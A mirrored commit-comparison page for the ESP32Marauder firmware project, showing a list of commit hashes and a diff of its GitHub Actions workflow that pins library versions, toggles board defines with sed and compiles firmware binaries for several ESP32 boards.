mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-08 22:00:56 -08:00
Compare commits
282 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
7a79860b17 | ||
|
|
303c3649da | ||
|
|
6f99f18be1 | ||
|
|
bd17002faa | ||
|
|
8d694cb1ef | ||
|
|
b17aa987cc | ||
|
|
0d1dc4af46 | ||
|
|
1c47db773a | ||
|
|
495222a86a | ||
|
|
21b5c4fcc6 | ||
|
|
706e2d6591 | ||
|
|
921039aa24 | ||
|
|
93869ca552 | ||
|
|
24c80cc0c6 | ||
|
|
723c6ae7ee | ||
|
|
7557f19508 | ||
|
|
23fa6f78d6 | ||
|
|
ea097190ac | ||
|
|
a506907625 | ||
|
|
32b49793ca | ||
|
|
86a4326d64 | ||
|
|
5dd56125a0 | ||
|
|
cbb110a944 | ||
|
|
2fd76556fb | ||
|
|
41a2317778 | ||
|
|
a6335fed22 | ||
|
|
38e53db892 | ||
|
|
598eda99e3 | ||
|
|
516b8b0c3f | ||
|
|
bea6978098 | ||
|
|
ab62f0fc60 | ||
|
|
6612c48d1d | ||
|
|
86c0857239 | ||
|
|
66d0ae467d | ||
|
|
a75b3d9b2c | ||
|
|
d5a0af74d0 | ||
|
|
b594d8bbdd | ||
|
|
370b2aa6c5 | ||
|
|
5f01e3030b | ||
|
|
33b5a6481c | ||
|
|
06e6cdb8cd | ||
|
|
5f53e32f8e | ||
|
|
1d6ff6f911 | ||
|
|
ad6addf3df | ||
|
|
c788ad6681 | ||
|
|
06ede5272d | ||
|
|
b8620e1bd3 | ||
|
|
18ca6160e5 | ||
|
|
bbe9eead7e | ||
|
|
971487eefb | ||
|
|
9158083889 | ||
|
|
f0bf1f4b7f | ||
|
|
388ef30acd | ||
|
|
7eb7ae4a0d | ||
|
|
10fce15bb9 | ||
|
|
32c118b0d5 | ||
|
|
c370dfa996 | ||
|
|
7669a7447f | ||
|
|
7049e1101f | ||
|
|
c0864af4db | ||
|
|
e4dcf91286 | ||
|
|
d382b066d4 | ||
|
|
4c50953dde | ||
|
|
a2f8eabd51 | ||
|
|
1465245cf4 | ||
|
|
3b3aa9a6e5 | ||
|
|
6e645e437a | ||
|
|
e0f95373c1 | ||
|
|
787490820e | ||
|
|
1167eaca67 | ||
|
|
da949387fc | ||
|
|
0ec881f309 | ||
|
|
57186cf4b5 | ||
|
|
a5d1b3faaf | ||
|
|
9b14d2daf5 | ||
|
|
7092fdf6cb | ||
|
|
e61c859df3 | ||
|
|
9b03aeff56 | ||
|
|
d39f3fc2da | ||
|
|
e92476fb26 | ||
|
|
4b000c8d18 | ||
|
|
5d4f73dbc8 | ||
|
|
3337c3e7a2 | ||
|
|
bf831a19fd | ||
|
|
8f2b9c709a | ||
|
|
edbd601af7 | ||
|
|
e174291646 | ||
|
|
1580feb1d0 | ||
|
|
5047296c94 | ||
|
|
26a46d6c4d | ||
|
|
86328d2788 | ||
|
|
f48d42ae0c | ||
|
|
4b40c0cf22 | ||
|
|
363817c113 | ||
|
|
4cf96a8f0c | ||
|
|
49888fa864 | ||
|
|
56133db97a | ||
|
|
ce8c70daf7 | ||
|
|
6a26ac2e04 | ||
|
|
bc3038c73b | ||
|
|
eee1b5c8c2 | ||
|
|
ddfda9c9ed | ||
|
|
d140f70093 | ||
|
|
7299b66255 | ||
|
|
c7936b06f2 | ||
|
|
0106081308 | ||
|
|
3c9458e0f5 | ||
|
|
2735550d3a | ||
|
|
6da2d33507 | ||
|
|
d1e0d96543 | ||
|
|
17a4035208 | ||
|
|
def6d2d277 | ||
|
|
9db9c630e4 | ||
|
|
816e620b5b | ||
|
|
89d731b10d | ||
|
|
105a23b1f2 | ||
|
|
70b0601713 | ||
|
|
ada170f910 | ||
|
|
dd998ceb07 | ||
|
|
5a885fba83 | ||
|
|
3dfc651689 | ||
|
|
2b9f5c857c | ||
|
|
fa11a04ba5 | ||
|
|
71266ae650 | ||
|
|
81b04db462 | ||
|
|
433c492f4b | ||
|
|
76526c3de6 | ||
|
|
f30d8813f8 | ||
|
|
3f5aecb38b | ||
|
|
eb1aeaa1cb | ||
|
|
61e63aeb59 | ||
|
|
0de13bf86d | ||
|
|
05980c4100 | ||
|
|
f1e4e9e9a1 | ||
|
|
9900109e81 | ||
|
|
68e370ca50 | ||
|
|
28f674c48a | ||
|
|
d6f97091d7 | ||
|
|
f4b8d827c9 | ||
|
|
5f20e18359 | ||
|
|
d7ac61fea1 | ||
|
|
6104aeadd5 | ||
|
|
8f4aa0115e | ||
|
|
11d8e95fb5 | ||
|
|
b34039158a | ||
|
|
304cecfbbd | ||
|
|
bcdc70563a | ||
|
|
0ddc563fe2 | ||
|
|
11faa91373 | ||
|
|
f73fe5fc94 | ||
|
|
1de9dd76c6 | ||
|
|
1917089ecb | ||
|
|
8a7648a72e | ||
|
|
8a7ae55c10 | ||
|
|
92adabb380 | ||
|
|
f00afa1430 | ||
|
|
ae6cf3a472 | ||
|
|
8c3772cf35 | ||
|
|
ee5361bfb3 | ||
|
|
2a34319029 | ||
|
|
6f1db9176a | ||
|
|
2685de86d1 | ||
|
|
a51db0d8ae | ||
|
|
e936cdb22a | ||
|
|
adb38dd620 | ||
|
|
26115b0510 | ||
|
|
76f8ceb63f | ||
|
|
50e99a62e9 | ||
|
|
f854a30ed6 | ||
|
|
ec0cc676ed | ||
|
|
c4fa30b3f8 | ||
|
|
5886bd991d | ||
|
|
a7cf003d84 | ||
|
|
1fca730b00 | ||
|
|
121dfbfa7e | ||
|
|
ea1b54cc91 | ||
|
|
5e77bb664d | ||
|
|
2d2d83e3af | ||
|
|
d8c960dbe5 | ||
|
|
a0acd10bd7 | ||
|
|
38a8727bfb | ||
|
|
539ebb93a7 | ||
|
|
56de1b698a | ||
|
|
524d4641ed | ||
|
|
df613f3b9b | ||
|
|
810c898c3b | ||
|
|
8bf1402a99 | ||
|
|
9c51a562b8 | ||
|
|
56e87a53ea | ||
|
|
fe5578af80 | ||
|
|
f3349766ed | ||
|
|
355b159128 | ||
|
|
bf0288f493 | ||
|
|
462f248d43 | ||
|
|
3dcce51f18 | ||
|
|
8934160316 | ||
|
|
a98e455fb5 | ||
|
|
ccdb844fc2 | ||
|
|
0b26b2d4d3 | ||
|
|
50eb2b0da6 | ||
|
|
771d03d931 | ||
|
|
4f1611083f | ||
|
|
b5eb343c52 | ||
|
|
e7ba169c04 | ||
|
|
a5b3ce9f0a | ||
|
|
eec6c37732 | ||
|
|
5cfb756051 | ||
|
|
31aa12d4ed | ||
|
|
d7fbf21345 | ||
|
|
e027231a43 | ||
|
|
ed5e6bc787 | ||
|
|
2092b0a462 | ||
|
|
4d269b383b | ||
|
|
0a90e6aedc | ||
|
|
6b4e2952d6 | ||
|
|
a84ee7e58e | ||
|
|
1eeedac84c | ||
|
|
e556309746 | ||
|
|
b21ee85b83 | ||
|
|
f2c1d01d13 | ||
|
|
cbe6d0196b | ||
|
|
6ab706c848 | ||
|
|
999dd77643 | ||
|
|
99210984e4 | ||
|
|
9ae60eeecf | ||
|
|
6ff61f4991 | ||
|
|
f4486ec191 | ||
|
|
ce6a40e554 | ||
|
|
09615832b3 | ||
|
|
0a9fc2a485 | ||
|
|
d555031b54 | ||
|
|
8efa79a407 | ||
|
|
59739b331d | ||
|
|
9f181d73a6 | ||
|
|
37788fe1a9 | ||
|
|
db6d23f3e4 | ||
|
|
6c8e77cba2 | ||
|
|
accd8f5730 | ||
|
|
7661b47a42 | ||
|
|
3e16378993 | ||
|
|
b51df45dec | ||
|
|
93bb2c6a85 | ||
|
|
5da426de99 | ||
|
|
07d5e8787e | ||
|
|
7a6a880cb9 | ||
|
|
1546fad676 | ||
|
|
785545c185 | ||
|
|
3f5bcd106a | ||
|
|
633a38d257 | ||
|
|
f044df2647 | ||
|
|
7eecf35eed | ||
|
|
b8df6e2598 | ||
|
|
e028c39470 | ||
|
|
592b7f68e8 | ||
|
|
99ef926fb7 | ||
|
|
5e9e096631 | ||
|
|
ab5c65f525 | ||
|
|
2b324eaaf2 | ||
|
|
ed41954f5a | ||
|
|
f79e0591df | ||
|
|
59a037925f | ||
|
|
6a6c8d8ff3 | ||
|
|
8c3f1890b2 | ||
|
|
eb69eb1454 | ||
|
|
4e76cfd154 | ||
|
|
752a65570f | ||
|
|
f8379f9e4b | ||
|
|
e7f2060886 | ||
|
|
5103426354 | ||
|
|
4285eefe62 | ||
|
|
02ac34ed3d | ||
|
|
5187c11395 | ||
|
|
169e858752 | ||
|
|
6760d1dc54 | ||
|
|
0fdfeb0f85 | ||
|
|
a30c74f494 | ||
|
|
c62f5a8cd9 | ||
|
|
653f7b6534 | ||
|
|
9b99f3d391 | ||
|
|
385d627a93 | ||
|
|
e7f37e2608 | ||
|
|
c3f5bbc93a |
366
.github/workflows/build_push.yml
vendored
366
.github/workflows/build_push.yml
vendored
@@ -2,6 +2,8 @@ name: Build and Push
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
types: [opened, reopened]
|
||||
|
||||
jobs:
|
||||
# This workflow contains a single job called "build"
|
||||
@@ -14,62 +16,97 @@ jobs:
|
||||
- name: Checkout Code
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Install ESP32 Boards and Compile TestFile
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: TestFile.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2
|
||||
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.10/package_esp32_dev_index.json
|
||||
|
||||
- name: Pull arduino-esp32 v2.0.4
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: espressif/arduino-esp32
|
||||
ref: 2.0.4
|
||||
path: 2.0.4arduino-esp32
|
||||
|
||||
|
||||
- name: Pull arduino-esp32 v2.0.10
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: espressif/arduino-esp32
|
||||
ref: 2.0.10
|
||||
path: 2.0.10
|
||||
|
||||
- name: Install AsyncTCP
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: me-no-dev/AsyncTCP
|
||||
ref: master
|
||||
path: CustomAsyncTCP
|
||||
|
||||
- name: Install MicroNMEA
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: stevemarple/MicroNMEA
|
||||
ref: v2.0.6
|
||||
path: CustomMicroNMEA
|
||||
|
||||
- name: Install ESPAsyncWebServer
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: bigbrodude6119/ESPAsyncWebServer
|
||||
ref: master
|
||||
path: CustomESPAsyncWebServer
|
||||
|
||||
#- name: Install TFT_eSPI
|
||||
# uses: actions/checkout@v2
|
||||
# with:
|
||||
# repository: justcallmekoko/TFT_eSPI
|
||||
# ref: master
|
||||
# path: CustomTFT_eSPI
|
||||
|
||||
- name: Install TFT_eSPI
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: justcallmekoko/TFT_eSPI
|
||||
ref: master
|
||||
repository: Bodmer/TFT_eSPI
|
||||
ref: 2.2.23
|
||||
path: CustomTFT_eSPI
|
||||
|
||||
- name: Install LinkedList
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: ivanseidel/LinkedList
|
||||
ref: master
|
||||
path: CustomLinkedList
|
||||
|
||||
|
||||
- name: Install lv_arduino
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: lvgl/lv_arduino
|
||||
ref: master
|
||||
ref: 3.0.0
|
||||
path: Customlv_arduino
|
||||
|
||||
|
||||
- name: Install JPEGDecoder
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: Bodmer/JPEGDecoder
|
||||
ref: master
|
||||
ref: 1.8.0
|
||||
path: CustomJPEGDecoder
|
||||
|
||||
|
||||
- name: Install NimBLE-Arduino
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: h2zero/NimBLE-Arduino
|
||||
ref: 1.2.0
|
||||
path: CustomNimBLE-Arduino
|
||||
|
||||
|
||||
- name: Install Adafruit_NeoPixel
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: adafruit/Adafruit_NeoPixel
|
||||
ref: master
|
||||
ref: 1.10.7
|
||||
path: CustomAdafruit_NeoPixel
|
||||
|
||||
|
||||
- name: Install ArduinoJson
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: bblanchon/ArduinoJson
|
||||
ref: v6.18.2
|
||||
path: CustomArduinoJson
|
||||
|
||||
|
||||
- name: Install SwitchLib
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
@@ -77,9 +114,23 @@ jobs:
|
||||
ref: main
|
||||
path: CustomSwitchLib
|
||||
|
||||
- name: Search for SD lib in arduino-esp32 v2.0.4
|
||||
run: |
|
||||
find /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32 -name "SD"
|
||||
- name: Install LinkedList
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: ivanseidel/LinkedList
|
||||
ref: v1.3.3
|
||||
path: CustomLinkedList
|
||||
|
||||
- name: Install EspSoftwareSerial
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
repository: plerup/espsoftwareserial
|
||||
ref: 8.1.0
|
||||
path: CustomEspSoftwareSerial
|
||||
|
||||
#- name: Search for SD lib in arduino-esp32 v2.0.4
|
||||
# run: |
|
||||
# find /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32 -name "SD"
|
||||
|
||||
- name: Configure TFT_eSPI
|
||||
run: |
|
||||
@@ -87,22 +138,34 @@ jobs:
|
||||
cp User_Setup_Select.h CustomTFT_eSPI/
|
||||
cp User_Setup_marauder_mini.h CustomTFT_eSPI/
|
||||
cp User_Setup_og_marauder.h CustomTFT_eSPI/
|
||||
cp User_Setup_marauder_m5stickc.h CustomTFT_eSPI/
|
||||
pwd
|
||||
ls -la
|
||||
ls -la CustomTFT_eSPI
|
||||
|
||||
- name: Install ESP32 Boards and Compile MarauderOTA
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
with:
|
||||
sketch-names: MarauderOTA.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2
|
||||
platform-url: https://github.com/espressif/arduino-esp32/releases/download/2.0.3/package_esp32_dev_index.json
|
||||
#- name: Place 2.0.10 for use
|
||||
# run: |
|
||||
# mkdir -p /home/runner/.arduino15/packages/esp32/hardware/esp32/
|
||||
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
|
||||
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
|
||||
# echo Whoever made me have to do this can fuck off
|
||||
|
||||
- name: Replace SD lib
|
||||
run: |
|
||||
rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
|
||||
cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
|
||||
ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3/libraries/SD
|
||||
#- name: Replace arduino-esp32 v2.0.10 that was gloriously forced on us
|
||||
# run: |
|
||||
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10
|
||||
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.3 /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.3
|
||||
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/
|
||||
# echo Whoever made me have to do this can fuck off
|
||||
|
||||
#- name: Search for SD lib in arduino-esp32
|
||||
# run: |
|
||||
# find /home/runner/ -name "SD"
|
||||
|
||||
#- name: Replace SD lib
|
||||
# run: |
|
||||
# rm -rf /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
|
||||
# cp -R /home/runner/work/ESP32Marauder/ESP32Marauder/2.0.4arduino-esp32/libraries/SD /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
|
||||
# ls -la /home/runner/.arduino15/packages/esp32/hardware/esp32/2.0.10/libraries/SD
|
||||
|
||||
- name: Modify platform.txt
|
||||
run: |
|
||||
@@ -117,9 +180,22 @@ jobs:
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32s2
|
||||
cat "$i" | grep compiler.c.elf.libs.esp32
|
||||
done
|
||||
|
||||
- name: Configure configs.h for Flipper Zero WiFi Dev Board
|
||||
run: |
|
||||
sed -i 's/^ #define MARAUDER_M5STICKC/ \/\/#define MARAUDER_M5STICKC/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_FLIPPER/ #define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Flipper Zero WiFi Dev Board
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
|
||||
@@ -129,8 +205,29 @@ jobs:
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper.bin
|
||||
|
||||
- name: Configure SD Serial for Flipper Zero SD Serial
|
||||
run: |
|
||||
pwd
|
||||
sed -i 's/^ \/\/#define WRITE_PACKETS_SERIAL/ #define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder SD Serial for Flipper Zero WiFi Dev Board
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s2:PartitionScheme=min_spiffs,FlashSize=4M,PSRAM=enabled
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename Marauder Flipper SD Serial bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.esp32s2/esp32_marauder.flipper_sd_serial.bin
|
||||
|
||||
- name: Remove SD Serial
|
||||
run: |
|
||||
pwd
|
||||
sed -i 's/^ #define WRITE_PACKETS_SERIAL/ \/\/#define WRITE_PACKETS_SERIAL/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Flipper Zero Multi Board
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:esp32s3:PartitionScheme=min_spiffs,FlashSize=8M,PSRAM=enabled
|
||||
@@ -149,13 +246,15 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_V4/ #define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for OG Marauder
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
@@ -172,13 +271,32 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_V6/ #define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
#- name: Build Marauder for v6 Marauder with arduino/compile-sketches
|
||||
# uses: arduino/compile-sketches@v1
|
||||
# with:
|
||||
# sketch-paths: esp32_marauder/esp32_marauder.ino
|
||||
# cli-compile-flags: |
|
||||
# - --warnings="none"
|
||||
# - --export-binaries
|
||||
# fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
|
||||
#- name: Show compiled arduino/compile-sketches v6 bin
|
||||
# run: |
|
||||
# find ~ -name "esp32_marauder.ino.bin"
|
||||
|
||||
#- name: Rename v6_2 Marauder bin
|
||||
# run: |
|
||||
# mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_2.bin
|
||||
|
||||
- name: Build Marauder for v6 Marauder
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
@@ -188,6 +306,29 @@ jobs:
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for Marauder v6.1
|
||||
run: |
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_V6_1/ #define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for v6.1 Marauder
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
extra-arduino-cli-args: "--warnings none"
|
||||
|
||||
- name: Rename v6 Marauder bin
|
||||
run: |
|
||||
mv ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.ino.bin ./esp32_marauder/build/esp32.esp32.d32/esp32_marauder.v6_1.bin
|
||||
|
||||
- name: Configure TFT_eSPI and configs.h for Marauder Kit
|
||||
run: |
|
||||
sed -i 's/^#include <User_Setup_marauder_mini.h>/\/\/#include <User_Setup_marauder_mini.h>/' /home/runner/Arduino/libraries/CustomTFT_eSPI/User_Setup_Select.h
|
||||
@@ -195,13 +336,15 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define MARAUDER_KIT/ #define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Marauder Kit
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
@@ -218,13 +361,15 @@ jobs:
|
||||
sed -i 's/^ \/\/#define MARAUDER_MINI/ #define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define ESP32_LDDB/ \/\/#define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_DEV_BOARD_PRO/ \/\/#define MARAUDER_DEV_BOARD_PRO/' esp32_marauder/configs.h
|
||||
|
||||
- name: Build Marauder for Marauder Mini
|
||||
uses: ArminJo/arduino-test-compile@v3.2.0
|
||||
uses: ArminJo/arduino-test-compile@v3.2.1
|
||||
with:
|
||||
sketch-names: esp32_marauder.ino
|
||||
arduino-board-fqbn: esp32:esp32:d32:PartitionScheme=min_spiffs
|
||||
@@ -239,13 +384,15 @@ jobs:
|
||||
sed -i 's/^ #define MARAUDER_MINI/ \/\/#define MARAUDER_MINI/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V4/ \/\/#define MARAUDER_V4/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6/ \/\/#define MARAUDER_V6/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_V6_1/ \/\/#define MARAUDER_V6_1/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_KIT/ \/\/#define MARAUDER_KIT/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define GENERIC_ESP32/ \/\/#define GENERIC_ESP32/' esp32_marauder/configs.h
|
||||
sed -i 's/^ #define MARAUDER_FLIPPER/ \/\/#define MARAUDER_FLIPPER/' esp32_marauder/configs.h
|
||||
sed -i 's/^ \/\/#define ESP32_LDDB/ #define ESP32_LDDB/' esp32_marauder/configs.h
|
||||
